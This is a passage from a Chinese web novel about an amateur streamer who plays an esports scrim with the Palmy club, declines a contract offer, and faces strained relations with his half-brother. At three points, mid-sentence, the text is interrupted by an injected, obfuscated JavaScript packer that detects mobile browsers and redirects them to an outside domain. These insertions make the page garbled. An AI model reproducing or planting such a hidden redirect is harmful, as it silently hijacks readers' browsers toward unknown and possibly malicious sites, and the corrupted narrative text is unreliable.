站定后，琥珀色的瞳孔注视着Palmy电子竞技俱乐部的鎏金Logo。 郗霁是应邀来Palmy参加训练赛的。 昨天，郁听邀请他来观赛。 起初郗霁很是诧异，因为战队之间的训练赛一般是不公开的。 虽然郁听说Palmy俱乐部都很欢迎他去基地做客，而这次训练赛主要也是北斗战队为了给他们新上单练练手，所以双方战队都不会涉及到什么战术演练。但最终，郗霁也只是说让他先去问问教练跟经理，问清楚了他再考虑考虑。 晚饭过后，郗霁就收到郁听打过来的语音电话，他在电话那头吞吞吐吐的，还以为是问过了不同意，正准备安慰说没关系。 下一刻，郁听就问他愿不愿意来帮忙打一场比赛。 Palmy战队的上单前两天官宣退役了，原本训练赛是要二队来顶上的，但是这临近年关，大家都请假了，所以问问他愿不愿意帮忙，还专门说明经理也给北斗战队那边通过气了，不会有任何问题。 犹豫之后，郗霁还是给了肯定的答复。 虽然对Palmy战队邀请他一事有了猜测，但谁让他实在想看北斗新上单的能力到哪了，能跟immortal轮换。 俱乐部大门前，郁听立在那里，看清从车上下来的人时，忙将手机收了起来，小跑上前。 “哥，你来了！” 阳光落在他发梢，碎金般的光晕与白色队服上的金色纹路融在一起，笔直站在他跟前时像株迎着阳光生长的白桦树，脸上的笑也都像是被这暖洋洋的颜色染过。 “我没迟到吧？” “没有，比约定的时间还早到了，我先带你参观一下我们基地吧。”郁听领着郗霁往里走。 “你们跟北斗的训练赛什么时候开始？” “三点。” 看了眼时间后，郗霁扬扬眉：“那行吧。” 训练室内，这会儿没有训练赛任务，Palmy的几位职业选手各自在自己位置上，享受短暂的松弛时间。 虞淼川的位置靠窗，因此他时不时侧过头往窗外望去。 “看得见吗？人肯定走正门，你这儿只能看见后门。” 说话的人是Palmy战队的中单，荀客。 他靠在电竞椅上，颈枕托着他微仰的脖颈，正阖着眼睛养神。 虞淼川：“你休息你的，偷看我干什么？” “我没看你，是你吵到我耳朵了。”荀客掀开眼皮，狭长的狐狸眼里闪过调侃，“如果你对你女朋友也能有这个态度，说不定人家就不跟你分手了。” “你别哪壶不开提哪壶地提我失恋的伤心事，难道你们就不好奇吗？” 荀客没接话，但不影响虞淼川的表达欲：“虽然朝雾给予了郁听这位朋友相当高的评价，但天阙的实力是大家有目共睹的，真的有那么厉害吗？” “厉不厉害等会不就知道了。”周瑞宁喝了口茶水，盖上盖子后才继续说，“而且郁听已经提前打过预防针了，所以等会你可别乱说话。” “这我当然知道，当初他直接从HGR走人，甚至后续没有加入任何一支战队，可见是个脾气大的！” “你们在说什么？”自动感应门往两侧推开，主教练罗教练走了进来。 虞淼川：“我们在说今天要来的这位哥。” 罗教练好奇：“那说他什么？” 荀客琢磨了一下：“老虞说他脾气大。” “喂！你别乱说话！”虞淼川忙解释，“我也不是说他坏话，只是提醒大家记得态度好一点，我出发点是好的！” “好了好了我知道你的意思。”罗教练摆摆手，“我正想说这件事呢。” 闻言，周瑞宁正了正神色：“教练，你说。” “郁听昨天找我们谈过了，而我跟林经理也是这个意思，我们大家都降低期待，就把今天当做一场普通的训练赛。”罗教练徐徐说着，“先不说人家现在有没有想法当职业选手，就朝雾说的事发生在三年半以前，现在过了这些年，操作是否还保持着当初的状态也不一定。而且按照郁听所说，这位现在是大三生，所以年龄应该在二十岁至二十二岁之间。” 二十出头，对于普通人来说还很年轻，但是在电竞行业里来说，起步却有些晚了。 纵观职业赛场上许多职业选手，都是从路人阶段就无敌，然后十七八岁进入这个行业。 就算偶尔有大器晚成的选手，那也是从青少年进入这个行业，一点一点将经验值积累起来的。 “我明白的，反正这场训练赛的目的一开始是陪着北斗战队练手，那就回归原来的心态就好了。”周瑞宁表示，“我们寄予太大的希望，也是在给郁听压力，让他为难。” 这时，虞淼川忽然发问：“那如果比起三年前，他技术跟操作没有退步呢？” “那就是郁听给我跟林经理交代的第二件事了。”罗教练叹了口气，“他说，如果这位朋友没有想当职业选手的念头，让我们不要过多干涉跟挽留。” …… Palmy虽然不是顶级豪门俱乐部，但是占地面积也有接近一万平方米，配套设施完善，满足了选手们从起居到就寝的基本日常需求。 郁听带着郗霁简单逛了下，见跟北斗约好的时间近了，便带着郗霁前往训练室。 自动感应的玻璃门再次打开，郁听侧过身，挡住感应，伸手朝里摆了个请的手势：“哥，请进，这就是我平时训练的地方。” “谢谢。”郗霁面色平静地抬腿走进去，训练室内的四个人视线正好齐刷刷地看了过来。 “你好，我是Palmy战队的罗教练，他们一般叫我老罗。”罗教练朝郗霁伸出手。 郗霁亦伸手回应：“你好，我是郗霁，郁听的朋友，今天打扰大家了。” “不打扰，我们大家都很欢迎你来。”罗教练转身看向几位队员，“你们也都自我介绍一下吧，互相认识一下。” 作为队长的周瑞宁从电竞椅上率先起身，“你应该记得我吧，我是Palmy的辅助兼队长Raining，周瑞宁。” 虞淼川的视线从人刚进来就一直黏着没动，见周瑞宁说完了，忙跟着说：“我是Stream，Palmy战队的ADC，本名虞淼川。” 荀客就比较简洁了，他微笑着点了下头：“中单，人间客，本名荀客。” 这三位郗霁都很眼熟。 赛场上有着保姆级辅助美称的Raining。 打得比较冲动，喜欢暴击流的ADC，Stream。 还有主播转型，去年才加入战队却获得“老阴逼”称号的中单人间客。 “郗霁是吧，那等会你就用郁听旁边这台电脑吧，你可以坐下来先试试手感。”罗教练指着郁听旁边的空位置说。 “哥，你账号是多少，我加你，拉你进房间。”见郗霁已经打开TOA游戏页面，郁听迫不及待地说。 郗霁原本已经在登陆页面输入了一串数字，闻言，点了删除键，重新输入，淡定地回复：“好啊。” “霁月，这个名字有些眼熟啊。”组队房间里，虞淼川盯着那唯一一个没有战队前缀的账号说。 “是不是主播？”荀客挑了下眉，顺手点开了郗霁的资料，主页非常热闹，一看就是很多人访问过。 “是主播。”周瑞宁点头，“之前看总决赛时说过的，我记得。” 趁着训练赛还没有开始，郁听则是切了页面去直播软件搜索，搜出来的第一位便是有百万粉丝的游戏主播，主页的作品大概有一百多条，封面基本都是游戏相关。 训练赛跟平时比赛的规则一样，游戏开始之后首先进行的是BP环节。 Palmy战队是蓝色方，先Ban先选。 Ban英雄前，作为队长和队伍指挥的周瑞宁提前跟队友商量：“等会先拿上单吧。” 这是为了照顾新来的客人。 虽然先拿可能会被对面针对，但后拿也许就抢不到自己想要的英雄了。 一楼刚好是郁听，他立即说：“哥，你想拿哪个英雄？” 郗霁也没有谦让，想了想说：“零界执事吧。” 紧接着，周瑞宁就禁用了熔岩守卫。 三楼的虞淼川思考片刻：“那我禁个蔷薇妖姬吧，这个英雄对线很恶心，而且大招无法选中，有点克制零界执事这种突进型上单。” 轮到北斗战队禁用英雄了，虽然知道今天Palmy战队的上单也换人了，但不清楚具体情况，只能按照之前交手的经验，第一轮的两个Ban位，一个给到了周瑞宁的成名英雄，狼巫，一个给到了郁听，禁了个版本强势打野。 双方第一轮禁用英雄结束后，便是选英雄阶段，Palmy战队作为蓝色方，在一楼的郁听顺利帮郗霁拿到了零界执事，北斗战队则拿下了上单跟ADC两个边路。 虞淼川稀奇地说：“对面这么着急拿上单？看来我们先Ban了两个上单，那边以为我们针对他们新上单了。但是这么着急，这也说明新上单的英雄池不是很深嘛。” 说话的时候，手上也闲着，Palmy作为蓝色方又拿了两个英雄，来到了了第二轮Ban人。 郗霁禁了个辅助英雄，荀客则随意禁了个不喜欢对线的中单。 而对面的Ban位这次则是给到了还未选择出来的中单跟ADC两个位置。 第二轮选人，北斗战队则拿了辅助跟中单，Palmy战队补全中单跟ADC。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368135|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后，北斗战队的最后一个人补上了一二强势打野。 英雄全部选择完毕，双方调整位置，进入峡谷。 从泉水出来后，郗霁操纵着一身零界执事去往上路。 对面北斗选出来的上单英雄是祟妖，零界执事打祟妖，6级前是比较麻烦的。 因为祟妖的每个技能在上单英雄里来说，都算是手比较长的那类，对上祟妖，不到6级的零界执事很容易连对方衣角都没有碰到，血条就被消耗完了。 祟妖也是仗着手长这一点，所以清兵时站在安全地带丢丢技能，显得很是轻松。 而零界执事想要去清兵，只能忍着被时不时消耗的痛苦。 哪怕是天阙来了，在英雄的绝对技能压制面前，也会稍显狼狈。 郗霁操纵着零界执事在尽量走位了，但还是不可避免地被蹭掉一层血。 中途，郁听清完上野区，问：“哥，我要来上路吗？” 郗霁：“不用，你来了也白来。他有位移，你我又没控又没大，抓不住祟妖的。” 6级就好了，6级就能升级大招。 有大的零界执事跟没大的零界执事是两个英雄。 知道郗霁说得没有错，闻言，郁听只能继续去清下野区了。 等他6级出野区，准备帮忙抓下的时候，“First Blood！”的提示音响了起来，显示上路的祟妖刚刚被击杀。 “哥，这么快！”郁听惊喜地开口。 “上路不用帮，你安心抓下吧。”郗霁说。 6级后的一番交手，他对北斗新上单的实力也摸到几分底了。 接下来，就是攻守易形了。 北斗战队。 immortal刚走到Aurora身后坐下，就看见他的屏幕灰了下去。 在游戏中，英雄死亡阶段，主屏幕以英雄尸体为中心，画面会褪色为灰黑色调，模拟视野熄灭感。 “怎么回事？”immortal皱着眉问。 Aurora：“轻敌了，6级前我是压着他打的。” “那怎么被拿掉一血？” “5级的时候他吃了我两个技能大残了。” “然后你就贪心了？那你有没有想过5级的时候接连吃你两个技能，是在故意钓你？” “我知道。” Aurora也有些懊恼，只是看见残血谁能不上头，他也知道零界执事马上升6级，时刻提防着，只是被预判到了走位，被一个大控住了。 接下来，Aurora倒是不敢轻敌了，复活后老老实实地去上路清线，不敢再浪。 在Aurora复活的路上，下路发生了一小波团战，双方的打野都选择抓下，最后的结果是北斗的ADC撤退不及时被留下了。 ADC一死，辅助伤害不够，只能退回塔下，等ADC复活。 于是，Palmy战队这边留虞淼川在下路清兵，郁听跟周瑞宁转身去将刚刚刷新的小龙给拿下，扩大经济优势。 而上路，Aurora重新上线之后就没看见零界执事的身影，从小地图上看，也没出现在中路和下路。 他隐隐有不好的预感，转身，准备往自己家野区瞅一眼，下一刻，一杆标枪投射至他脚下，对祟妖造成伤害和短暂的禁锢效果，随后脚踩红Buff的零界执事穿墙而出，冲锋至他的武器处，对落点处的祟妖造成二次伤害和击飞，再接QWE技能，又一套带走。 两个人头加一条路的兵线，还吃了对面的半个野区，可以说零界执事目前是全场最肥的人。 而因为郗霁的偷野，北斗的打野这局经济也只能排到队伍第三去了，这对于一个前期强势的打野来说简直是奇耻大辱！但偏偏，他现在还没什么办法，他一个脆皮打野去抓一个等级比他高，装备比他领先，还比他肉的上单？ 看了都直想摇头。 接下来的时间，郗霁该推塔就推塔，该参团就参团，该入侵野区就继续入侵野区，跟队友互相配合不给对面追上来喘息的机会，在二十分钟时就结束了对局。 “你们怎么看？”训练室的LED屏刚好停留在水晶破裂的画面，Palmy战队的林经理站在会议桌前问道。 副教练语气赞同地说道：“零界执事6级前的弱势期处理很好，面对祟妖的高频消耗能做到避战不避线，在即将满6级的时候又故意残血引对面上头完成反杀，很有自己的一套想法。” “不止，弱势期保发育、强势期抢资源，相当有大局观。”罗教练放下笔，看着刚刚记录的重点。 “在第一波反杀之后直接一个人入侵对面的野区，把对线优势转化为全局压制，让北斗的打野自始自终没发育得起来。” 副教练想到北斗的打野这局经济就没起来过，轻笑了声：“估计北斗的打野都想过骂人了，从第二波野刷新，就没有吃过完整的野区。” 5. 考虑 观战室的LED显示屏继续亮着，这局的评分也出来了。 不出意外的，MVP是郗霁。 击杀6，死亡0，助攻7。 伤害占比34%，全队最高。 承受伤害30%，只比周瑞宁的肉辅低一点。 经济占比27%。 参团率65%。 “综合数据也很不错。”副教练盯着大屏幕，扫到对面的ID话锋一转，“但这局能打得这么顺的原因还因为北斗的洋洋也没上场，ADC是二队补上的。” 罗教练：“也已经很不错了，老实说，比赛开始前，我原本猜测他只是操作厉害，没想到意识也不输其他职业选手，很多没有经过专业训练的非职业玩家玩上单都很容易陷入的一个误区，前期不参团不支援，就喜欢靠自己的技术杀穿一路，看起来是很帅，但往往不能作用最大化。” “那现在怎么办？”副教练看向林经理。 如果郗霁是前来试训的选手，他们现在就可以冲出去握着他的手说欢迎加入Palmy战队。 但是偏偏人家不是来试训的，而且在来之前，他们的队员郁听还给他们提了一大堆要求。 “还是试着问问吧。”林经理整理了一下着装，转身往外走去，“如果愿意加入我们战队那就最好不过了。如果不愿意的话，就像郁听说的那样，也无法强求。” 郁听摘下耳机，神色复杂地看着结算画面。 原本他是怀着为immortal打抱不平的心态来的，甚至恶意地想过一定要在线上打崩这个北斗的新上单，最好杀他个十次八次，去TM地跟immortal轮换！ 但游戏一开始，随着状态不算深入，还是不由自主地认真对待。 而且跟职业选手组队跟打普通路人局是完全不一样的体验。 本来他上次看总决赛就没调整好的心态更加犹豫，像块石头一样沉甸甸地压在心底。 郁听看了眼数据面板，朝郗霁的方向凑了过来，眼睛里落满了星光：“哥，你的零界执事好厉害！” “是吧！好久没有打过这么顺的局了！”虞淼川赞同地点点头，他现在是完全相信朝雾的话了，夸赞之词毫不吝啬，“有两波我快被抓死的时候，零界执事及时传送到下路来，我简直像是看到了天神降临！” “你这么厉害，不知道有没有考虑过打职业呢？”一身干练的西装的林经理进入到训练赛，趁机问出了大家在意的问题。 “如果你愿意加入我们战队的话，我们愿意拿出远高于市场的新人签约费。”林经理继续说。 虽然对方一身大牌大概并不缺钱，但这也算是他们战队的诚意。 其他人的视线也迅速投向郗霁。 三年前他是想加入HGR战队的，如果他现在能加入Palmy战队，那就再好不过，皆大欢喜了。 “我该走了。” 郗霁却没有回答，迫使自己忽视掉周遭的视线，从椅子上撑起身站了起来，面不改色地说：“今天很感谢你们让我参与到了一场精彩的比赛。” 闻言，郁听摘下耳机放在桌上，也跟着站了起来。 “这么快就走了？现在时间还早呢。”虞淼川还想说什么，坐他隔壁的周瑞宁便用手肘碰了他一下。 “那好吧。”林经理拿出一张白色的名片递过来，不舍地说：“如果你改变主意了，可以联系我，或者联系郁听也可以。” 郗霁抬手接过，垂下视线寸寸扫过，最后捏入掌心：“行。” “哥……” 电梯里，郁听小心翼翼地打量他的神色，“你是不是生气了？” 郗霁诧异地抬起眼，跟反光板里的郁听对视上，见他脸上的紧张不似作伪，嘴角微微勾起，带着极淡的笑意问：“从何说来？” 郁听嘴唇动了动，他就是感觉郗霁心情不好，好像对他的态度也有了一些变化？ 但具体的，他也说不清楚。 最后，他放弃回答，而是问出了心里的疑问：“你为什么不愿意当职业选手了？” 郗霁嘴角原本微微扬起的弧度像被无形的手轻轻按了下去，他说：“私人的原因。” 电梯在此时到达一楼，郗霁率先走出去，见郁听跟了出来，转过身跟他对视，目光带着让人看不懂的衡量，语气却是如常：“你上去吧，不用送了。” “郗霁！” 在人即将走出基地大门之际，郁听忽然出声。 见人转过神来，他轻声说：“我请你吃饭吧。” “之前在柏林就说过请你吃饭的，当时你有约了，说跟我约下次，今天正好是下次。” …… 市区商业中心，一家坐落于街边的连锁烤肉店内，两人跟相对而坐，烤盘上的和牛肉正以肉眼可见的速度蜷缩，滋滋地正冒着香气。 郗霁觉得很魔幻。 明明在Palmy基地的时候打算的是回去后就慢慢别再联系了，但他提到柏林那天，就让他上了他的车，载着他出来共进晚餐。 应该是当初那个用了心的生日礼物送到他心坎里了，所以才让他刚刚说不出拒绝的话。 果然是拿人手短。 郁听握着长柄夹子将烤得恰到好处的牛肉夹进空碗里，拿过生菜包了一片，递到郗霁面前，献宝似地说：“好了，哥，你先尝尝。” 郗霁垂下眼看了眼几乎到他嘴边的生菜包肉，这还是第一次被年龄比他小的同性这样照顾，一时有些不适应，微微往后挪了下，伸手接过：“谢谢，我自己来就好。” “没事，我喜欢弄这些。”郁听确实无所谓地说。 “……” 他只是觉得两个同性在外面吃饭不用刻意照顾谁，显得gaygay的。 即便是没有转头，他也已经察觉到半墙之隔的隔壁桌的炙热的眼神了，还有两个女孩子意味不明的偷笑声。 但偏偏造成这一切地始作俑者还无所畏惧。 在接连被投喂几次之后，郗霁放下筷子，决定快刀斩乱麻，认真地说：“我现在无法给你们答复，所以你们不用将希望寄托在我身上。” 郗霁看见郁听烤肉的手明显地顿住了，原本他是不想当面说些让人不开心的话，但是仔细想一想，有些事还是早说清楚比较好，以免在他身上投入更多又没有结果。 他好奇地问：“所以你是从什么时候知道我游戏玩得不错的？” 郗霁从柏林总决赛见面开始回忆，包括他们在微信上聊的每一句话。 在柏林总决赛现场他是说过一嘴他在做游戏主播，但一开始并没有透露账号，而TOA游戏屹立这么多年，主播多得如过江之鲫，没什么好稀奇的。 而他直播的时候从来没露过脸，身边认识的人也没透露过，唯一知道的人只有跟他从小穿一条裤子长大的好友韩弋。 哦，还有一个郗泽楷，跟他关系不太好的堂兄弟。 这个是属于意外，是因为之前有一次排位的时候不小心被撞见，被他瞧见了ID，隔天郗泽楷就拿着截图来问他段位这么高怎么不去打职业。 除此之外，再没人知道了吧。 又或者他的方向想错了。 郗霁的记忆回到柏林那天现场，朝雾的脸在他眼前一闪而过。 朝雾，现役中单选手，之前在HGR战队的队员，后来转会到熠辉战队。 而之前去HGR试训时，朝雾被安排跟他组队合作过。 所以那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368136|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天朝雾应该是认出他来了，还冲他笑了下。 “熠辉的朝雾？” “嗯。”郁听垂着眼，原本晶亮的眼睛此刻像是蒙了层灰，他抬眼瞥向对面，又慢慢垂下来，长睫在眼下投出一片发沉的阴影，“他说你之前去HGR试训过。” “那你是什么时候知道的？”郗霁挑眉。 他确定，在柏林总决赛现场是他跟朝雾时隔三年半再次打照面。 而在这之前，他们还没有检票进场时，郁听对他的态度就很“暧昧”了。 “是在我回国的时候，我们搭乘同一架飞机，他以为你是我们的新上单。”郁听闷闷地解释着，胸口像堵了一团揉不开的棉花。 得到确定的答案后，郗霁下意识地松了口气，之前升起的几分烦闷，悄悄地驱散了。 那就是说，至少在那之前，郁听跟他之间没有掺杂其他的东西。 郗霁看向被人为戳得不成样子的生菜，好像他的接连质问让对面这小孩不高兴了。 “对不起。”他忽然说道。 “你不用跟我说对不起，也没有什么对不起我的。是我不该在明知道你不想再继续当职业选手的时候还想方设法邀请你来战队。” “不是不想当职业选手。” 郗霁微不可见地叹了一口气，不愿意再多说，将话题转移到对方身上：“你呢？为什么走职业这条路？” “因为走投无路了，没钱继续念书也没钱吃饭了，然后林经理刚好找到我，所以我就进了Palmy。” 没有想到是这么现实的理由，郗霁一愣，问：“你家里长辈呢？他们不管你吗？” “我妈在我两岁多的时候就去世了，我爸……”郁听极快地扯了下嘴角，“他早就不管这些了。” 郗霁默然，没有继续刨根挖底，他不想这个沉重的话题继续延续下去。 面前这个比他年龄小的人，从小经历家庭变故，仍旧如一株白桦树一样迎着阳光茁壮自强地生长，积极挣扎出出路，从初见就保持阳光开朗，没有长偏，没有自怨自艾，这样对比起来，他那些烦恼好像忽然没什么大不了的了。 “我再考虑考虑。” 郁听倏地抬起眼，“什么？” “要不要加入Palmy战队的事情，年后我给你答复。” 与他们直线距离几米远的十字路口，郗泽楷单手搭在方向盘上等红绿灯，傍晚的风卷着街边的食物的香气送入车内，他左右张望，想记住勾起他馋虫的店名。 下一刻，就被烤肉店内靠窗坐着的人吸引了视线。 这时，路口的信号灯进入倒计时，在变成绿灯的前一秒，他匆匆拍了张照片。 海城高级私人医院，消毒水的味道充斥在每一个角落，郗泽楷循着房间号找到目的地。 VIP病房里，米白色窗帘半拉开，夕阳的余晖洒进来，刚好落在病床上的人缠着石膏固定起来的右腿上。 而这条腿的主人半靠在床头，怀里还放着台电脑，页面上显示着同学给他传过来的笔记。 “郗晏，你这是住院都放不下学习啊。” 听见声音，病床上的人微微侧头，没什么情绪的眸子瞥了他一眼，又迅速转了回去，对他的出现视若无睹。 但郗泽楷明显不在意这些，他拖了把椅子，自顾自地在病床前坐了下来，又自顾自地说：“对了，你猜我来的路上看见谁了？” “是郗霁，我遇见他跟人在外面吃饭，他今天也在海城。” 郗泽楷从相册翻出最新一张照片：“你再猜他跟谁在一起吃饭，我给你看看看，不知道你认不认识。” 郗晏终于有了反应，视线飘了过来，看清人后，眉峰极轻地蹙了下：“郁听？” 6. 困惑 在郗晏口中听见跟预想中不一样的答案，郗泽楷怔了一下，正想询问，下一秒，病房门被推开，薛芷漪推门进来。 看见病房里多一个人，诧异地开口：“泽楷来了啊。” “郗晏受伤了，我肯定要来看看。”郗泽楷转过头，劝道，“伯母，郗晏腿都受伤了，你就让他好好修养，不用这么用功了吧。” “你有心了。”薛芷漪走到窗前，将窗帘拉开，转过身来，“我劝过了，但是他自己喜欢学习，说快要高考了，多复习能够静心，不信的话你问他。” 郗泽楷回过头，郗晏的脸色不是一般的僵硬，头埋得很低，过了好一会儿才用几不可闻的声音应了声：“对。” 薛芷漪松了一口气，“你看吧。” “……”郗泽楷叹了口气，“郗霁来过吗？” “来过了。”薛芷漪脸色淡了下去。 “也对，他大学近，不来看看说不过去。” 薛芷漪在床尾的沙发上坐下，抬手将脸颊边的碎发拢到耳后，微笑着询问：“学校还没有放假，你怎么提前回来了？” 郗泽楷念的大学离海城有些远。 他一脸无所谓地说：“我请假了，反正我学不学都没区别，干脆过完春节，明年开学再回去。” “怎么会没有区别。”薛芷漪表示不赞同。 “伯母你饶了我吧，我不是那块料，有郗晏好好学习就够了。” 郗泽楷刚刚是准备跟郗晏说一说郗霁跟职业选手接触的事情，但现在有薛芷漪守在一旁，显然不是继续讨论的好时候。 他坐了一会儿便离开医院，想到刚刚郗晏的话，上网搜索了一下，Palmy战队的打野本名果然叫郁听。 看着搜索结果，郗泽楷疑惑地歪了歪头，他都只知道选手的ID，没想到郗晏平时不打游戏不上网竟然比他了解得还多。 …… 临近假期的时间总是过得要漫长些，但好在各大学府终于迎来了放寒假的日子。 日光穿过枝繁叶茂的树叶，在大学校园里洒下斑驳的光影，郗霁拖着行李箱在上面踩过，刚踏出校门，身后就传来熟悉的呼喊。 “郗霁，等等！” 韩弋三步并做两步跨下台阶，伸手搭在他肩上，“今晚直播不，不直播的话去我家通宵，新赛季更新了，我想快点把段位重新打上去。” “带不了。” “为什么？”没有想到会被拒绝，韩弋诧异地瞪大了双眼，故作西子捧心状，“你准备抛下我带其他人了？” “不是。”郗霁将韩弋搭在他身上的手拨开，微不见地叹了口气，“我有事，得回那边一趟。” 郗霁的家庭情况韩弋是知道的。 “你是说你爸那边？”韩弋挑眉，“嗯……太阳从西边出来了，你不是一向不爱过去住吗？” 郗霁的目光落在新消息上，半个小时前郗泽楷发给他的： [郗晏今天出院，你有时间回来吗？] 韩弋在郗霁的示意下凑近屏幕瞥了眼：“郗晏住院了，他怎么了？” “在学校踩空摔了腿。” “什么时候的事？” “上周吧。” “那他也太不小心了，不过……”韩弋看了眼发信人，调侃，“有时候我觉得郗泽楷比你跟郗晏更像亲兄弟。” 郗霁收起手机，无所谓地开口：“可能吧。” 回到海城的时候，天色已经黑了，郗霁停好车，穿过庭院，站在别墅门口静默两秒才推开门。 玄关处整齐摆放着两列鞋，看样子今天家里还有其他客人。 郗霁从鞋柜里拿出居家鞋换上，踩着羊毛地毯走进，巨型水晶灯将挑高的客厅照得通透明亮，一眼就望见一身香奈儿套装的薛芷漪正端坐在沙发上同身旁的人说着话，听见动静，几人同时望过来，谈话声静止了一瞬。 最先回过神来的还是薛芷漪，看见人进来，嘴角扬起公式化的微笑：“郗霁回来了，吃过晚饭了吗？” “在学校吃过了。”郗霁客套地回应，视线扫过沙发上坐着的另外几位，都不陌生，是薛芷漪那边的亲戚，这么多年时常走动着。 一一打了招呼之后，郗霁四周看了下，没有看到郗泽楷的身影，便询问：“郗晏呢？” “在他房间里。” 郗泽楷一向喜欢跟郗晏待在一起，而郗霁待在这里也浑身不自在，干脆说：“那我上去看看他。” 郗晏的房间在二楼第一间，此刻门虚掩着，静悄悄的，郗霁轻轻扣了扣门，里面没应声。 他耐着性子再用力敲了敲，里面传来磕碰的声响，紧接着才是人声：“谁？” “是我。” 等了两秒，郗霁推开门。 屋里光线很暗，只开着一盏台灯，郗晏左右随便看了眼，郗泽楷不在，只有郗晏坐在椅子上，下颌线绷得像拉满的弓弦，眼睛盯着摊在书桌上的复习资料。 郗霁走近，低头目光落在郗晏腿上的石膏上，边缘很干净，应该是出院之前刚换的药，但此时这条腿却不可控制地微微发颤。 郗霁打量了下郗晏的脸色，联想到刚刚的声响，“刚刚不小心撞到腿了？” 没人回应。 “薛姨在楼下跟人说话，一时半会不会上来。” 闻言，郗晏猛地抬起头来，眼神却像淬了冰的刀子，压低声音说：“才不用你管！” 对于这个同父异母的弟弟，郗霁也不明白，他为什么一到见他浑身上下就透着一股苦大仇深的狠戾。 虽然是重组家庭，但是他自小跟着爷爷奶奶一起生活，跟郗晏相处的时间并不多，实在是不知道什么地方将他得罪得这么彻底。 “没人想管你，我只是可怜你。”郗霁居高临下地看着他，成功地看着郗晏脸色变了变，嘴唇抿成一条僵硬的直线，连带着脸颊的肌肉都微微抽搐。 他是不想对伤员说落井下石的话，但是谁的脾气不是脾气？ 从房间出来之后，郗霁犹豫了一下还是想着先回自己公寓算了，这边虽然有他名义上的房间，但是他没住过两次，跟客房也没有区别。 这时，楼梯传来脚步声，郗霁转身，刚好跟上楼来的郗泽楷面碰面。 看见人，郗泽楷身体往旁边一歪，斜倚在雕花栏杆上，抬眼时嘴角噙着笑，“回来了啊。” “嗯。”郗霁看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368137|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他，“找我什么事？” “我能有什么事？”郗泽楷吊儿郎当地说，“不就是喊你回来看看你弟。” “无聊。”郗霁绕过他，往下走。 “你去哪？” “看过了，走了。” 见人脚步不停，郗泽楷站直了身体，忙问：“你，是不是要去当电竞职业选手了？” 郗霁脚步一顿，心里窜起警惕，回过头来，不动神色地说：“为什么这么说？” 郗泽楷仔细观察着他的反应，摇了摇头，“没什么。” 随后，他眉梢轻轻挑了下，一脸真诚地说：“我只是觉得你游戏打得这么好，不去打职业浪费了。” 等人走远了后，郗泽楷还站在原地一动不动，陷入沉思，他一时也摸不准郗霁的想法，正想着要不要再从别处打探，一回头，发现郗晏站在房间门口。 “你刚刚说什么打职业？” 难得郗晏主动询问，郗泽楷也不卖关子：“我正要给你说这件事。” 郗泽楷走进房间，大喇喇地往单人沙发里一坐，“上次我在医院给你看的那张照片，你不是认出来了吗？” 见郗晏脸上有显而易见的困惑，郗泽楷继续解释：“那天回去我还翻看了郗霁的游戏记录，有一场是跟Palmy战队的职业选手组队，对打北斗战队，时间也对得上。你想想，那场比赛除了他，基本都是职业选手，一看就是试训赛。” 郗晏一开始听得云里雾里，慢慢才理顺了。 “你是怀疑郗霁去试训了？” “对！” “郁听。”郗晏顿了顿，“是职业选手？” “对！Palmy的打野。”郗泽楷慢半拍地反应过来，“等等，你不知道他是职业选手吗？那你之前在医院怎么一眼就认出他来了？” “他之前也在一中读书。”郗晏看向他，面无表情地补充，“跟我一个班的。” “嘶，这么巧。那你能联系到他吗？正好我想问问具体的情况。” “不能。” “为什么？你不是说之前跟你一个班的吗？就是没有好友，应该也有班级群吧。”郗泽楷不解地说。 “他初中就转学了，班级群也退了。” 郗泽楷有些失望。 “我就算是能联系到他，知道是你问，他也不会说的。” 郗晏扶着椅子坐下，在郗泽楷不解的目光中开口：“你不记得他了吗？他转学的事情还跟你有关。” “哈？”郗泽楷放下二郎腿，用手指着自己，“这里面还有我的事？” “那时候你还没从一中毕业，经常找他麻烦。” 郗泽楷思索了一阵，没想起这号人物，满不在乎地说：“我还没从一中毕业的时候，那也就是说是好几年前的事了，我怎么记得。” 而且，他找过麻烦的人那可就多了。 但是一想到郗霁的事情，郗泽楷又觉得自己可不可以抢救一下。 “我做了很过份的事情吗？” “具体的我不清楚，但我知道你们一起去警局做过笔录。” 郗泽楷坐直了身体，终于从茫茫记忆里的角落将这件事拉了出来。 7. 关心 公寓离得不远，郗霁开车不到半个小时就到了。 开门进屋，郗霁将自己陷在沙发里，口袋里的手机震动几下，他拿出来，指尖在屏幕上划了两下解锁查看。 微信上，韩弋跟郁听分别都发了消息过来，他顺手先点开了跟韩弋的聊天框。 